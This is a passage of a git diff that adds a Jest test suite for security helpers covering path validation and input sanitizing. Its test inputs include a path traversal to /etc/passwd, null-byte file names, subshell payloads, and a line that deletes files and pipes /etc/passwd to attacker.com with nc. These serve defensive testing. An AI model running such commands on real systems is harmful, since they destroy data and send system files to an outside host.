expect(output).toContain('---'); + }); + }); +}); diff --git a/tests/core/utils/security-utils.test.js b/tests/core/utils/security-utils.test.js new file mode 100644 index 000000000..0e2f12945 --- /dev/null +++ b/tests/core/utils/security-utils.test.js @@ -0,0 +1,352 @@ +'use strict'; + +const path = require('path'); + +const { + validatePath, + sanitizeInput, + validateJSON, + RateLimiter, + safePath, + isSafeString, + getObjectDepth, +} = require('../../../.aios-core/core/utils/security-utils'); + +describe('security-utils', () => { + describe('validatePath', () => { + it('should accept a simple relative path', () => { + const result = validatePath('agents/dev.md'); + expect(result.valid).toBe(true); + expect(result.errors).toHaveLength(0); + }); + + it('should reject path traversal with ../', () => { + const result = validatePath('../../../etc/passwd'); + expect(result.valid).toBe(false); + expect(result.errors).toEqual( + expect.arrayContaining([expect.stringContaining('Path traversal')]), + ); + }); + + it('should reject null byte injection', () => { + const result = validatePath('file.txt\0.exe'); + expect(result.valid).toBe(false); + expect(result.errors).toEqual( + expect.arrayContaining([expect.stringContaining('Null byte')]), + ); + }); + + it('should reject null/undefined/non-string input', () => { + expect(validatePath(null).valid).toBe(false); + expect(validatePath(undefined).valid).toBe(false); + expect(validatePath('').valid).toBe(false); + expect(validatePath(123).valid).toBe(false); + }); + + it('should reject absolute paths by default', () => { + const result = validatePath('/etc/passwd'); + expect(result.valid).toBe(false); + expect(result.errors).toEqual( + expect.arrayContaining([expect.stringContaining('Absolute paths')]), + ); + }); + + it('should allow absolute paths when allowAbsolute is true', () => { + const result = validatePath('/usr/local/bin/node', { allowAbsolute: true }); + expect(result.valid).toBe(true); + }); + + it('should enforce basePath restriction (traversal)', () => { + const result = validatePath('../../outside', { basePath: '/safe/dir' }); + expect(result.valid).toBe(false); + }); + + it('should enforce basePath restriction (absolute escape)', () => { + // Use allowAbsolute + basePath to test basePath enforcement in isolation + // (without path traversal detection masking the basePath check) + const result = validatePath('/outside/secret.txt', { + basePath: '/safe/dir', + allowAbsolute: true, + }); + expect(result.valid).toBe(false); + expect(result.errors).toEqual( + expect.arrayContaining([expect.stringContaining('escapes the allowed base')]), + ); + }); + + it('should allow paths within basePath', () => { + const result = validatePath('sub/file.txt', { basePath: '/safe/dir' }); + expect(result.valid).toBe(true); + }); + + it('should return the normalized path', () => { + const result = validatePath('agents/./dev.md'); + expect(result.normalized).toBe(path.normalize('agents/./dev.md')); + }); + }); + + describe('sanitizeInput', () => { + it('should remove null bytes from all types', () => { + expect(sanitizeInput('hello\0world', 'general')).not.toContain('\0'); + expect(sanitizeInput('file\0.txt', 'filename')).not.toContain('\0'); + }); + + it('should return non-string input unchanged', () => { + expect(sanitizeInput(42)).toBe(42); + expect(sanitizeInput(null)).toBe(null); + expect(sanitizeInput(undefined)).toBe(undefined); + }); + + describe('filename mode', () => { + it('should replace unsafe filename characters with _', () => { + expect(sanitizeInput('my file<>.txt', 'filename')).toBe('my_file__.txt'); + }); + + it('should strip leading dots (hidden files)', () => { + expect(sanitizeInput('.hidden', 'filename')).toBe('hidden'); + expect(sanitizeInput('...dots', 'filename')).toBe('dots'); + }); + + it('should keep safe filename chars', () => { + expect(sanitizeInput('my-file_v2.txt', 'filename')).toBe('my-file_v2.txt'); + }); + }); + + describe('identifier mode', () => { + it('should keep alphanumeric, dash, and underscore', () => { + expect(sanitizeInput('my-agent_v2', 'identifier')).toBe('my-agent_v2'); + }); + + it('should replace spaces and special chars', () => { + expect(sanitizeInput('my agent!', 'identifier')).toBe('my_agent_'); + }); + }); + + describe('shell mode', () => { + it('should strip shell metacharacters', () => { + const dangerous = 'rm -rf /; cat /etc/passwd | nc attacker.com 4444'; + const sanitized = sanitizeInput(dangerous, 'shell'); + expect(sanitized).not.toContain(';'); + expect(sanitized).not.toContain('|'); + }); + + it('should strip backticks and $() subshell syntax', () => { + expect(sanitizeInput('$(whoami)', 'shell')).toBe('whoami'); + expect(sanitizeInput('`id`', 'shell')).toBe('id'); + }); + }); + + describe('html mode', () => { + it('should escape HTML entities', () => { + const result = sanitizeInput('', 'html'); + expect(result).not.toContain('